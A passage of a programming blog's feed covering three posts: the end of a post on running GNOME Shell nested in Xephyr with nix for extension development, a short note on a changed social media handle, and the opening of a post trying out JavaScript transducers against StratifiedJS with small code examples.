				&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; install &lt;a href=&quot;https://nixos.org/nix/&quot;&gt;nix&lt;/a&gt; and &lt;a href=&quot;http://www.freedesktop.org/wiki/Software/Xephyr/&quot;&gt;Xephyr&lt;/a&gt;, then try &lt;a href=&quot;https://gist.github.com/timbertson/eaf5c588065eabc71153&quot;&gt;this script&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I’ve worked on a GNOME Shell tiling window extension (&lt;a href=&quot;/shellshape/&quot;&gt;shellshape&lt;/a&gt;) for 5 years now, since before the first release of gnome-shell. The shell itself is impressively extensible, and it’s pretty amazing that I can distribute a tiling window extension which as just a bunch of javascript. But the development process itself has always been awful:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;you have to restart your window manager all the time, which typically loses the sizing and workspace affinity of every window, leaving you with a tangled mess of windows&lt;/li&gt;
  &lt;li&gt;if your extension doesn’t work then you have a broken shell&lt;/li&gt;
  &lt;li&gt;it is painfully easy to cause a segfault (from JavaScript code :( )&lt;/li&gt;
  &lt;li&gt;you’d better be editing your code in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tmux&lt;/code&gt; session so you can fix it from a VTE&lt;/li&gt;
  &lt;li&gt;sometimes when restarting the shell, all your DBus-based integrations get messed up so you can’t change volume, use multimedia keys or shutdown&lt;/li&gt;
  &lt;li&gt;testing against a new gnome-shell version basically means either upgrading your OS or trying to do a fresh install in a VM, which is a whole new layer of annoyance.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Maybe I’m spoiled from working on projects which are easily run in isolation - I bet kernel developers scoff at the above minor inconveniences. But it makes development annoying enough that I dread it, which means I’ll only fix bugs when they get more annoying than development itself.&lt;/p&gt;

&lt;p&gt;All of which is to say that &lt;a href=&quot;/images/gnome-shell-nested.png&quot;&gt;this is freakin’ awesome&lt;/a&gt;. As of a couple days ago I’ve been able to run &lt;em&gt;the latest version of GNOME Shell&lt;/em&gt; (which isn’t packaged for my distro) in a &lt;em&gt;regular window&lt;/em&gt;, completely disconnected from my &lt;em&gt;real&lt;/em&gt; session, running the development version of &lt;a href=&quot;/shellshape/&quot;&gt;shellshape&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Big thanks go to whichever mysterious developers were responsible for fixing whatever gnome-shell / graphics / Xephyr issues have always prevented gnome-shell from running nested (it does now!), and to the nixpkgs folks maintaining the latest GNOME releases so that I can run new versions of GNOME without affecting the rest of my system.&lt;/p&gt;

&lt;p&gt;Unfortunately I can’t guarantee it’ll work for you, since this stuff is heavily dependant on your graphics card and drivers, plus it only seems to work with my system version of Xephyr, not the nixpkgs one. But if this interests you, you should definitely &lt;a href=&quot;https://gist.github.com/timbertson/eaf5c588065eabc71153&quot;&gt;give it a go&lt;/a&gt;. You’ll need &lt;a href=&quot;https://nixos.org/nix/&quot;&gt;nix&lt;/a&gt; and &lt;a href=&quot;http://www.freedesktop.org/wiki/Software/Xephyr/&quot;&gt;Xephyr&lt;/a&gt;. If you don’t want to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt;, you can probably extract what you need from the script to run your system version of gnome-shell in a Xephyr window.&lt;/p&gt;


				
			</content>
		</entry>
	
		<entry>
			<title>Heads up: new handle</title>
			<link href="http://gfxmonk.net/2015/11/28/heads-up-new-handle.html"/>
			<updated>2015-11-28T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2015/11/28/heads-up-new-handle</id>
			<content type="html">
				
				&lt;p&gt;Just a quick heads up, in case anyone comes here looking for verification: I’ve changed my twitter &amp;amp; github handle from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@gfxmonk&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@timbertson&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I don’t have particular plans to rename this site, since that’s a lot more complex and it would break All The Links. But “gfxmonk” was a name I picked when I was big into computer graphics (and not a monk, though it sounded cool at the time). A decade or so later I’m more of an enthusiastic observer when it comes to graphics, and still not all that monk-like. So I figured I’d adopt a handle that was based on my name, since I probably won’t decide to change that any time soon.&lt;/p&gt;

				
			</content>
		</entry>
	
		<entry>
			<title>Figuring out what transducers are good for (by trying to use them for a bunch of problems in JavaScript)</title>
			<link href="http://gfxmonk.net/2015/11/25/figuring-out-what-transducers-are-good-for.html"/>
			<updated>2015-11-25T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2015/11/25/figuring-out-what-transducers-are-good-for</id>
			<content type="html">
				
				&lt;p&gt;I’ve been aware of &lt;a href=&quot;http://clojure.org/transducers&quot;&gt;transducers&lt;/a&gt; for a little while, but haven’t actually used them, or even really felt like I fully grokked what they were good for. They come from the clojure community, but are making their way into plenty of other languages and libraries too. I’ve seen claims that they are a game-changing, breathtaking new concept, which didn’t really square with what they &lt;em&gt;looked like&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;So I thought I’d learn more about them by just attempting some plausible but detailed examples with them in JavaScript. If you’ve heard about transducers but aren’t really sure what they’re good for, perhaps this’ll help clarify. And if you’ve never heard of transducers, feel free to take a detour via the &lt;a href=&quot;http://clojure.org/transducers&quot;&gt;clojure documentation&lt;/a&gt;.&lt;/p&gt;

&lt;!--more--&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#tldr&quot; id=&quot;markdown-toc-tldr&quot;&gt;tl;dr&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#what-are-transducers&quot; id=&quot;markdown-toc-what-are-transducers&quot;&gt;So what are transducers?&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#lets-transduce&quot; id=&quot;markdown-toc-lets-transduce&quot;&gt;Let’s transduce some things!&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#example-1&quot; id=&quot;markdown-toc-example-1&quot;&gt;Example 1: nested map / filter / groupBy&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#aside-stratifiedjs-primer&quot; id=&quot;markdown-toc-aside-stratifiedjs-primer&quot;&gt;Aside: StratifiedJS primer&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#example-2&quot; id=&quot;markdown-toc-example-2&quot;&gt;Example 2: … but what about async?&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#example-3&quot; id=&quot;markdown-toc-example-3&quot;&gt;Example 3: lazily reading lines from a file&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#example-4&quot; id=&quot;markdown-toc-example-4&quot;&gt;Example 4: event streams&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#extra-credit&quot; id=&quot;markdown-toc-extra-credit&quot;&gt;Extra credit: streams &amp;amp; async processing&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#closing-thoughts&quot; id=&quot;markdown-toc-closing-thoughts&quot;&gt;Closing thoughts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#more-examples&quot; id=&quot;markdown-toc-more-examples&quot;&gt;Appendix a: More examples&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#mapping-the-values-of-an-object&quot; id=&quot;markdown-toc-mapping-the-values-of-an-object&quot;&gt;“Mapping” the values of an object&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#custom-iterators&quot; id=&quot;markdown-toc-custom-iterators&quot;&gt;Custom iterators&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;tldr&quot;&gt;tl;dr&lt;/h1&gt;

&lt;p&gt;After trying out transducers on a bunch of sample problems, my takeaway is that transducers are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;a neat encapsulation for the usual set of functional transformations (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filter&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reduce&lt;/code&gt;, etc)&lt;/li&gt;
  &lt;li&gt;a common way to represent a transformation to be done later, which leads to:&lt;/li&gt;
  &lt;li&gt;a way to apply multiple transformations without creating intermediate collections&lt;/li&gt;
  &lt;li&gt;a decent way to compose asynchronous transformations (compared to vanilla JavaScript efforts)&lt;/li&gt;
  &lt;li&gt;significantly more complex to understand than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filter&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reduce&lt;/code&gt;, etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These features are neat, but I wouldn’t call them ground-breaking. And I may be spoiled, but “the ability to use the same transformations on collections of different types (arrays, streams, etc)” isn’t terribly novel - Javascript is one of the &lt;em&gt;worst&lt;/em&gt; high-level languages for dealing with things like lazy or blocking computation. Most other languages can already achieve the majority of these goals using some sort of lazy iterator / collection protocol and plain ol’ &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filter&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reduce&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To expand on the last point above about complexity - sometimes this won’t matter. If you just use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t.map&lt;/code&gt; and friends, you can largely ignore the complexity as an implementation detail. But if you get into more complex transducers, you may well be baffled by their failure to do what you expect, and figuring out &lt;em&gt;why&lt;/em&gt; can be difficult. This happened to me &lt;em&gt;plenty&lt;/em&gt; of times when coming up with these examples, and they aren’t even that complex.&lt;/p&gt;

&lt;h2 id=&quot;what-are-transducers&quot;&gt;So what are transducers?&lt;/h2&gt;

&lt;p&gt;From what I’d read they seemed mostly like a way of representing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filter&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reduce&lt;/code&gt; style operations as an object which can be applied later. They do this by encapsulating three functions - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;step&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;result&lt;/code&gt;. To make matters harder to wrap your head around, transducers don’t directly &lt;em&gt;do&lt;/em&gt; things to a collection - they wrap &lt;em&gt;another&lt;/em&gt; transducer. Rather than go into the theory and implementation of individual transducers, I’m going to focus on how they’re used, and by extension when they are useful.&lt;/p&gt;

&lt;p&gt;Here’s an example of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt; transducer, which can be used to build a copy of a sequence with each element incremented by 1.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addOneToEverything&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transduce&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([],&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addOneToEverything&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;someSequence&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;But that’s not a very useful example, because it doesn’t gain you anything. After all, it’s trivial to store and reuse a mapping function already:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addOne&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;someSequence&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If you &lt;em&gt;really&lt;/em&gt; don’t want to remember that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addOne&lt;/code&gt; should be applied with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt; (and not to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filter&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reduce&lt;/code&gt;), you could always wrap it further:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addOneToEverything&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;seq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;seq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;addOneToEverything&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;someSequence&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Another stated strength of transducers is that they compose easily - you can build a chained transducer with:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;chain&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transduce&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;compose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addOneToEverything&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;filterOutEvenNumbers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;..but I can compose functions, too:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;filterOutEvenNumbers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;addOneToEverything&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;There are definite downsides to this approach:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;it builds intermediate arrays - if you apply multiple transformations you’ll be building an intermediate array for each one&lt;/li&gt;
  &lt;li&gt;it only works for synchronous transformations - you need an entirely different API to deal with async map functions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’ve also heard that a big benefit of transducers is that they don’t have to know what &lt;em&gt;kind&lt;/em&gt; of sequence you’re dealing with. I don’t really buy that, since this is all just duck typing - whatever sequence type you have, as long as it has a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt; function, you’re set. Whether it’s an object, or an array, or some custom iterator type, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addOneToEverything&lt;/code&gt; doesn’t know or care.&lt;/p&gt;

&lt;p&gt;The interesting thing is that the above downsides are really just limitations of the JavaScript language. I don’t know enough about clojure to know whether they are big issues there, but I &lt;em&gt;do&lt;/em&gt; know plenty about &lt;a href=&quot;http://stratifiedjs.org/&quot;&gt;StratifiedJS&lt;/a&gt; (I helped build it!) to know that it has neither of those problems.&lt;/p&gt;

&lt;p&gt;Specifically, in StratifiedJS &lt;em&gt;any&lt;/em&gt; expression can “suspend”, and the runtime will not evaluate something depending on that expression until its value is “ready”. It’s as if the language were smart enough to evaluate every single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Promise&lt;/code&gt; expression automatically, so that instead of a promise you just see the eventual result. This isn’t exactly how it’s implemented, but conceptually it’s quit similar. And rather than managing concurrency using event-based callbacks, StratifiedJS introduces explicit concurrency syntax which provides &lt;em&gt;structured&lt;/em&gt; (lexical) concurrency, rather than a tangle of events and callbacks which are hard to understand and reason about.&lt;/p&gt;

&lt;h1 id=&quot;lets-transduce&quot;&gt;Let’s transduce some things!&lt;/h1&gt;

&lt;p&gt;So, let’s try and do a bunch of semi-complex things with transducers in JavaScript, and see how they compare to &lt;a href=&quot;http://stratifiedjs.org/&quot;&gt;StratifiedJS&lt;/a&gt;, a superset of JavaScript with rich concurrency support.&lt;/p&gt;

&lt;p&gt;For the examples below, I’m using the following libraries:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/transduce&quot;&gt;transduce&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/transduce-stream&quot;&gt;transduce-stream&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/es6-promise&quot;&gt;es6-promise&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/object-stream&quot;&gt;object-stream&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Not being up to scratch with the latest &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm&lt;/code&gt; hotness, I wasn’t really sure which libraries to go with - there are seemingly endless variations on the name “transducers”, and more promise implementations than you can poke a stick at. But these are what I used, particularly because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;transduce&lt;/code&gt; has builtin support for async transducers, which doesn’t seem to be the case with some other libraries.&lt;/p&gt;

&lt;p&gt;If you want to run an example, you can throw it in a .js file after the following prelude:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;cp&quot;&gt;#!/usr/bin/env node
&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;transduce&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Promise&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;es6-promise&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TransduceStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;transduce-stream&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ObjectStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;object-stream&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;EventEmitter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;EventEmitter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If you want to run the StratifiedJS examples, you just need to add this to the top:
(you’ll obviously need StratifiedJS installed, too)&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;cp&quot;&gt;#!/usr/bin/env sjs
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sjs:std&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;example-1&quot;&gt;Example 1: nested map / filter / groupBy&lt;/h3&gt;

&lt;p&gt;To pick a random sequence processing task, lets try to:&lt;/p&gt;

&lt;p&gt;1) group sequential elements in a stream based on whether they’re even or odd
2) sum up each group
3) report only the sums which are divisible by 3&lt;/p&gt;

&lt;p&gt;It’s a bit arbitrary, but it includes a bunch of transformations which need to be chained. Here’s how I’d do it in StratifiedJS:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
